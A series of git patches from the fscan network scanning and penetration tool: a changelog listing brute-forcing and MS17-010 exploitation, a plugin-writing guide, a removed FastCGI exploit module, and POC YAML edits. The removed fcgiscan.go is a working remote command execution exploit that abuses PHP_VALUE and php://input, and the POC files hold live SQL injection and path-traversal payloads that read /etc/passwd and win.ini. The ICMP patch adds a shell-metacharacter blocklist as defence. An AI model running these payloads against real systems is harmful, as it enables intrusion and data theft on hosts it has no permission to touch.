修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 -[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 -[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 -修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 -[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 -[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 -[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 -[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 -[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 -[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 -[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 +# 0x11 最近更新 +## 2024 更新 + +- **2024/12/19**: v2.0.0 重大更新 + - 完整代码重构,提升性能和可维护性 + - 重新设计模块化架构,支持插件扩展 + - 改进并发控制,提升扫描效率 + +## 2023 更新 + +- **2023/11/13**: + - 新增控制台颜色输出(可用 `-nocolor` 关闭) + - 支持JSON格式保存结果(`-json`) + - 调整TLS最低版本至1.0 + - 支持端口分组(`-p db,web,service`) + +## 2022 更新 +- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能 +- **2022/7/14**: 改进文件导入支持和搜索匹配功能 +- **2022/7/6**: 优化内存管理,扩展URL支持 +- **2022/7/2**: + - 增强POC fuzz模块 + - 新增MS17017利用功能 + - 加入socks5代理支持 +- **2022/4/20**: 新增POC路径指定和端口文件导入功能 +- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito) +- **2022/1/11**: 新增Oracle密码爆破 +- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能 + +## 2021 更新 +- **2021/12/7**: 新增RDP扫描功能 +- **2021/12/1**: 全面优化功能模块 +- **2021/6/18**: 改进POC识别机制 +- **2021/5/29**: 新增FCGI未授权扫描 +- **2021/5/15**: 发布Windows 2003版本 +- **2021/5/6**: 更新核心模块 +- **2021/4/21**: 加入NetBIOS探测和域控识别 +- **2021/3/4**: 支持URL批量扫描 +- **2021/2/25**: 支持密码爆破功能 +- **2021/2/8**: 新增指纹识别功能 +- **2021/2/5**: 优化ICMP探测 + +## 2020 更新 +- **2020/12/12**: 集成YAML解析引擎,支持XRay POC +- **2020/12/6**: 优化ICMP模块 +- **2020/12/03**: 改进IP段处理 +- **2020/11/17**: 新增WebScan模块 +- **2020/11/16**: 优化ICMP模块 +- **2020/11/15**: 支持文件导入IP + +_感谢所有为项目做出贡献的开发者_ [url-docen]: README_EN.md From 7dbb6b652f2ca3c73930d9da1f15d23ef97d0e52 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:51:43 +0800 Subject: [PATCH 054/188] =?UTF-8?q?docs:=20=E6=B7=BB=E5=8A=A0=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E7=BC=96=E5=86=99=E6=8C=87=E5=8D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Docs/插件编写指南.md | 88 ++++++++++ Plugins/fcgiscan.go | 377 ------------------------------------------- 2 files changed, 88 insertions(+), 377 deletions(-) create mode 100644 Docs/插件编写指南.md delete mode 100644 Plugins/fcgiscan.go diff --git a/Docs/插件编写指南.md b/Docs/插件编写指南.md new file mode 100644 index 0000000..b9d8094 --- /dev/null +++ b/Docs/插件编写指南.md @@ -0,0 +1,88 @@ +# FScan 插件开发指南 + +## 1. 创建插件 +在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`: + +```go +package Plugins + +import ( + "github.com/shadow1ng/fscan/Common" +) + +func MyPluginScan(info *Common.HostInfo) error { + // 1. 基础检查 + if info == nil { + return errors.New("Invalid host info") + } + + // 2. 实现扫描逻辑 + result, err := doScan(info) + if err != nil { + return err + } + + // 3. 处理结果 + if result.Vulnerable { + Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port)) + } + + return nil +} +``` + +## 2. 注册插件 +在 `Core/Registry.go` 中注册你的插件: + +```go +Common.RegisterPlugin("myplugin", Common.ScanPlugin{ + Name: "MyPlugin", + Port: 12345, // 指定端口,如果是web类插件可设为0 + ScanFunc: Plugins.MyPluginScan, +}) +``` + +## 3. 开发规范 + +### 插件结构 +- 每个插件应当是独立的功能模块 +- 使用清晰的函数名和变量名 +- 添加必要的注释说明功能和实现逻辑 + +### 错误处理 +```go +// 推荐的错误处理方式 +if err != nil { + return fmt.Errorf("plugin_name scan error: %v", err) +} +``` + +### 日志输出 +```go +// 使用内置的日志函数 +Common.LogSuccess("发现漏洞") +Common.LogError("扫描错误") +``` + +## 4. 测试验证 + +- 编译整个项目确保无错误 +- 实际环境测试插件功能 +- 验证与其他插件的兼容性 + +## 5. 提交流程 + +1. Fork 项目仓库 +2. 创建功能分支 +3. 提交代码更改 +4. 编写清晰的提交信息 +5. 创建 Pull Request + +## 注意事项 + +- 遵循 Go 编码规范 +- 保证代码可读性和可维护性 +- 禁止提交恶意代码 +- 做好异常处理和超时控制 +- 避免过度消耗系统资源 +- 注意信息安全,不要泄露敏感数据 diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go deleted file mode 100644 index 90165f1..0000000 --- a/Plugins/fcgiscan.go +++ /dev/null @@ -1,377 +0,0 @@ -package Plugins - -import ( - "bufio" - "bytes" - "encoding/binary" - "errors" - "fmt" - "github.com/shadow1ng/fscan/Common" - "io" - "strconv" - "strings" - "sync" - "time" -) - -//links -//https://xz.aliyun.com/t/9544 -//https://github.com/wofeiwo/webcgi-exploits - -// FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Common.HostInfo) error { - // 如果设置了暴力破解模式则跳过 - if Common.IsBrute { - return nil - } - fmt.Println("[+] Fcgi扫描模块开始...") - - // 设置目标URL路径 - url := "/etc/issue" - if Common.Path != "" { - url = Common.Path - } - addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) - - // 构造PHP命令注入代码 - var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 - - switch { - case Common.Command == "read": - reqParams = "" // 读取模式 - case Common.Command != "": - reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 - default: - reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami - } - - // 设置FastCGI环境变量 - env := map[string]string{ - "SCRIPT_FILENAME": url, - "DOCUMENT_ROOT": "/", - "SERVER_SOFTWARE": "go / fcgiclient ", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_PROTOCOL": "HTTP/1.1", - } - - // 根据请求类型设置对应的环境变量 - if len(reqParams) != 0 { - env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) - env["REQUEST_METHOD"] = "POST" - env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" - } else { - env["REQUEST_METHOD"] = "GET" - } - - // 建立FastCGI连接 - fcgi, err := New(addr, Common.Timeout) - defer func() { - if fcgi.rwc != nil { - fcgi.rwc.Close() - } - }() - if err != nil { - fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 发送FastCGI请求 - stdout, stderr, err := fcgi.Request(env, reqParams) - if err != nil { - fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 处理响应结果 - output := string(stdout) - var result string - - if strings.Contains(output, cutLine) { - // 命令执行成功,提取输出结果 - output = strings.SplitN(output, cutLine, 2)[0] - if len(stderr) > 0 { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || - strings.Contains(output, "Content-type") || - strings.Contains(output, "Status") { - // 目标存在FastCGI服务但可能路径错误 - if len(stderr) > 0 { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } - - fmt.Println("[+] Fcgi扫描模块结束...") - return nil -} - -// for padding so we don't have to allocate all the time -// not synchronized because we don't care what the contents are -var pad [maxPad]byte - -const ( - FCGI_BEGIN_REQUEST uint8 = iota + 1 - FCGI_ABORT_REQUEST - FCGI_END_REQUEST - FCGI_PARAMS - FCGI_STDIN - FCGI_STDOUT - FCGI_STDERR -) - -const ( - FCGI_RESPONDER uint8 = iota + 1 -) - -const ( - maxWrite = 6553500 // maximum record body - maxPad = 255 -) - -type header struct { - Version uint8 - Type uint8 - Id uint16 - ContentLength uint16 - PaddingLength uint8 - Reserved uint8 -} - -func (h *header) init(recType uint8, reqId uint16, contentLength int) { - h.Version = 1 - h.Type = recType - h.Id = reqId - h.ContentLength = uint16(contentLength) - h.PaddingLength = uint8(-contentLength & 7) -} - -type record struct { - h header - buf [maxWrite + maxPad]byte -} - -func (rec *record) read(r io.Reader) (err error) { - if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { - return err - } - if rec.h.Version != 1 { - return errors.New("fcgi: invalid header version") - } - n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) - if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { - return err - } - return nil -} - -func (r *record) content() []byte { - return r.buf[:r.h.ContentLength] -} - -type FCGIClient struct { - mutex sync.Mutex - rwc io.ReadWriteCloser - h header - buf bytes.Buffer - keepAlive bool -} - -func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) - fcgi = &FCGIClient{ - rwc: conn, - keepAlive: false, - } - return -} - -func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { - c.mutex.Lock() - defer c.mutex.Unlock() - c.buf.Reset() - c.h.init(recType, reqId, len(content)) - if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { - return err - } - if _, err := c.buf.Write(content); err != nil { - return err - } - if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { - return err - } - _, err = c.rwc.Write(c.buf.Bytes()) - return err -} - -func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { - b := [8]byte{byte(role >> 8), byte(role), flags} - return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) -} - -func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { - b := make([]byte, 8) - binary.BigEndian.PutUint32(b, uint32(appStatus)) - b[4] = protocolStatus - return c.writeRecord(FCGI_END_REQUEST, reqId, b) -} - -func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { - w := newWriter(c, recType, reqId) - b := make([]byte, 8) - for k, v := range pairs { - n := encodeSize(b, uint32(len(k))) - n += encodeSize(b[n:], uint32(len(v))) - if _, err := w.Write(b[:n]); err != nil { - return err - } - if _, err := w.WriteString(k); err != nil { - return err - } - if _, err := w.WriteString(v); err != nil { - return err - } - } - w.Close() - return nil -} - -func readSize(s []byte) (uint32, int) { - if len(s) == 0 { - return 0, 0 - } - size, n := uint32(s[0]), 1 - if size&(1<<7) != 0 { - if len(s) < 4 { - return 0, 0 - } - n = 4 - size = binary.BigEndian.Uint32(s) - size &^= 1 << 31 - } - return size, n -} - -func readString(s []byte, size uint32) string { - if size > uint32(len(s)) { - return "" - } - return string(s[:size]) -} - -func encodeSize(b []byte, size uint32) int { - if size > 127 { - size |= 1 << 31 - binary.BigEndian.PutUint32(b, size) - return 4 - } - b[0] = byte(size) - return 1 -} - -// bufWriter encapsulates bufio.Writer but also closes the underlying stream when -// Closed. -type bufWriter struct { - closer io.Closer - *bufio.Writer -} - -func (w *bufWriter) Close() error { - if err := w.Writer.Flush(); err != nil { - w.closer.Close() - return err - } - return w.closer.Close() -} - -func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { - s := &streamWriter{c: c, recType: recType, reqId: reqId} - w := bufio.NewWriterSize(s, maxWrite) - return &bufWriter{s, w} -} - -// streamWriter abstracts out the separation of a stream into discrete records. -// It only writes maxWrite bytes at a time. -type streamWriter struct { - c *FCGIClient - recType uint8 - reqId uint16 -} - -func (w *streamWriter) Write(p []byte) (int, error) { - nn := 0 - for len(p) > 0 { - n := len(p) - if n > maxWrite { - n = maxWrite - } - if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { - return nn, err - } - nn += n - p = p[n:] - } - return nn, nil -} - -func (w *streamWriter) Close() error { - // send empty record to close the stream - return w.c.writeRecord(w.recType, w.reqId, nil) -} - -func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { - - var reqId uint16 = 1 - defer c.rwc.Close() - - err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) - if err != nil { - return - } - err = c.writePairs(FCGI_PARAMS, reqId, env) - if err != nil { - return - } - if len(reqStr) > 0 { - err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) - if err != nil { - return - } - } - - rec := &record{} - var err1 error - - // recive untill EOF or FCGI_END_REQUEST - for { - err1 = rec.read(c.rwc) - if err1 != nil { - if err1 != io.EOF { - err = err1 - } - break - } - switch { - case rec.h.Type == FCGI_STDOUT: - retout = append(retout, rec.content()...) - case rec.h.Type == FCGI_STDERR: - reterr = append(reterr, rec.content()...) - case rec.h.Type == FCGI_END_REQUEST: - fallthrough - default: - break - } - } - - return -} From 97b205f4a7d763670c687366b2f884db71d0662a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:15:32 +0800 Subject: [PATCH 055/188] Update seeyon-a6-test-jsp-sql.yml --- WebScan/pocs/seeyon-a6-test-jsp-sql.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml index a5e467a..c104494 100644 --- a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml +++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 210000000) rules: - method: GET - path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: From ce211fef78cbcb2966c0e721a1093355ac832bee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:16:49 +0800 Subject: [PATCH 056/188] Update ruoyi-management-fileread.yml --- WebScan/pocs/ruoyi-management-fileread.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index 547f5b8..f052fb0 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -2,7 +2,7 @@ name: poc-yaml-ruoyi-management-fileread groups: linux: - method: GET - path: /Common/download/resource?resource=/profile/../../../../etc/passwd + path: /common/download/resource?resource=/profile/../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: From 2c1bdd98eea4224c724eecc9cde0ad4e5beef0fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:20:43 +0800 Subject: [PATCH 057/188] Update yonyou-u8-oa-sqli.yml --- WebScan/pocs/yonyou-u8-oa-sqli.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml index 324cdd3..51aa2c1 100644 --- a/WebScan/pocs/yonyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 220000000) rules: - method: GET - path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) @@ -11,4 +11,4 @@ rules: detail: author: kzaopa(https://github.com/kzaopa) links: - - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html \ No newline at end of file + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html From 6ee7bab188f0571bb5713f999281f0427f2bbbc8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 20:39:51 +0800 Subject: [PATCH 058/188] Update ruoyi-management-fileread.yml --- WebScan/pocs/ruoyi-management-fileread.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index f052fb0..6debdd1 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -7,7 +7,7 @@ groups: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET - path: /Common/download/resource?resource=/profile/../../../../Windows/win.ini + path: /common/download/resource?resource=/profile/../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: From 5c05965967d95d3e5084745698e02823d5e2d492 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:17:09 +0800 Subject: [PATCH 059/188] Update ICMP.go --- Core/ICMP.go | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/Core/ICMP.go b/Core/ICMP.go index f70a895..26bb546 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -259,8 +259,15 @@ func RunPing(hostslist []string, chanHosts chan string) { // ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { + // 过滤黑名单字符 + forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"} + for _, char := range forbiddenChars { + if strings.Contains(ip, char) { + return false + } + } + var command *exec.Cmd - // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": From 035bf862a34ad8b70966bc4477d308b457d2d4f9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:23:59 +0800 Subject: [PATCH 060/188] Update FTP.go --- Plugins/FTP.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index a13dc66..041999e 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -14,7 +14,6 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] FTP扫描模块开始...") starttime := time.Now().Unix() @@ -56,7 +55,6 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] FTP扫描模块结束...") // 添加结束打印 return tmperr } From 39dabbfb9e2f2d8cf80800bd075efd1574eacf81 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:25:49 +0800 Subject: [PATCH 061/188] Update SSH.go --- Plugins/SSH.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 478f4a2..b56267e 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -15,7 +15,6 @@ func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] SSH扫描模块开始...") // 增加全局扫描超时 scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) @@ -89,7 +88,6 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } } - fmt.Println("[+] SSH扫描模块结束...") return tmperr } From 141848773590e44591e28b0eb296a8b0cdfc557c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:26:48 +0800 Subject: [PATCH 062/188] Update FcgiScan.go --- Plugins/FcgiScan.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 90165f1..c01c064 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -24,7 +24,6 @@ func FcgiScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] Fcgi扫描模块开始...") // 设置目标URL路径 url := "/etc/issue" @@ -112,7 +111,6 @@ func FcgiScan(info *Common.HostInfo) error { Common.LogSuccess(result) } - fmt.Println("[+] Fcgi扫描模块结束...") return nil } From 75cd097e35cd4750d99c8ec52503e58d4aa45880 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:27:28 +0800 Subject: [PATCH 063/188] Update FindNet.go --- Plugins/FindNet.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 63f8190..ef71538 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -19,7 +19,6 @@ var ( // Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Common.HostInfo) error { - fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } @@ -77,7 +76,6 @@ func FindnetScan(info *Common.HostInfo) error { } // 解析主机信息 - fmt.Println("[+] FindNet扫描模块结束...") return read(text, info.Host) } From de076d1a130a01cbe76d66b1502f3c07305fb8e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:28:29 +0800 Subject: [PATCH 064/188] Update MS17010.go --- Plugins/MS17010.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index d80b15c..45b18fc 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -87,14 +87,12 @@ func MS17010(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] MS17010扫描模块开始...") // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } - fmt.Println("[+] MS17010扫描模块结束...") return err } From 2969cac802d6ad3795a82a31e3880191f348d3ec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:29:23 +0800 Subject: [PATCH 065/188] Update MSSQL.go --- Plugins/MSSQL.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 4df1e36..d69bafa 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -14,7 +14,6 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Mssql扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Mssql扫描模块结束...") return tmperr } From d6349a9d882138240a384cccb0f61f613eeef604 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:29:55 +0800 Subject: [PATCH 066/188] Update Memcached.go --- Plugins/Memcached.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index 76a8f17..c086da0 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -9,7 +9,6 @@ import ( // MemcachedScan 检测Memcached未授权访问 func MemcachedScan(info *Common.HostInfo) error { - fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second @@ -45,6 +44,5 @@ func MemcachedScan(info *Common.HostInfo) error { Common.LogSuccess(result) } - fmt.Println("[+] Memcached扫描模块结束...") return nil } From 8984ae52a3dd7bd6352091798116810cda9e7040 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:30:29 +0800 Subject: [PATCH 067/188] Update Mongodb.go --- Plugins/Mongodb.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 95b3ba4..38a61ef 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -12,14 +12,12 @@ func MongodbScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } - fmt.Println("[+] Mongodb扫描模块开始...") _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } - fmt.Println("[+] Mongodb扫描模块结束...") return err } From 8837f61197d2a3afc416d4ce334c3210243c4bd0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:31:09 +0800 Subject: [PATCH 068/188] Update MySQL.go --- Plugins/MySQL.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 17334e8..a4f7fa4 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -14,7 +14,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Mysql扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Mysql扫描模块结束...") return tmperr } From 96798b6fa3f9988f5ecc08ca43d496158efdf964 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:32:11 +0800 Subject: [PATCH 069/188] Update NetBIOS.go --- Plugins/NetBIOS.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 2d8a0ed..7f81063 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -15,7 +15,6 @@ import ( var errNetBIOS = errors.New("netbios error") func NetBIOS(info *Common.HostInfo) error { - fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -23,7 +22,6 @@ func NetBIOS(info *Common.HostInfo) error { Common.LogSuccess(result) return nil } - fmt.Println("[+] NetBIOS扫描模块结束...") return errNetBIOS } From e34b737b87ba73805c8c6cf0da04e7b10293eaa8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:33:31 +0800 Subject: [PATCH 070/188] Update Oracle.go --- Plugins/Oracle.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index 2d98a60..0d05884 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -14,7 +14,6 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } - fmt.Println("[+] Oracle扫描模块开始...") starttime := time.Now().Unix() @@ -44,7 +43,6 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { } } } - fmt.Println("[+] Oracle扫描模块结束...") return tmperr } From f3ba1acd75ee93ba5b0010a0c81c1b16ab93f5fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Thu, 19 Dec 2024 22:34:09 +0800 Subject: [PATCH 071/188] Update Postgres.go --- Plugins/Postgres.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/Plugins/Postgres.go 